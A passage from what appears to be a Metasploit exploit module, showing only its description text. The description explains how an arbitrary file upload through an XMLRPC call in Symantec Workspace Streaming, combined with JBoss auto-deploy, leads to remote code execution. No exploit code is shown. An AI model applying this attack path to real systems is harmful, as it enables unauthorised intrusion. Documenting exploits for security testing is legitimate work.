‘Description’ => %q{
This module exploits a code execution flaw in Symantec Workspace Streaming. The
vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
as_agent.exe service, which allows for uploading arbitrary files under the server root.
This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order
to achieve remote code execution. This module has been tested successfully on Symantec
Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single
machine deployment, and also in the backend role in a multiple machine deployment.
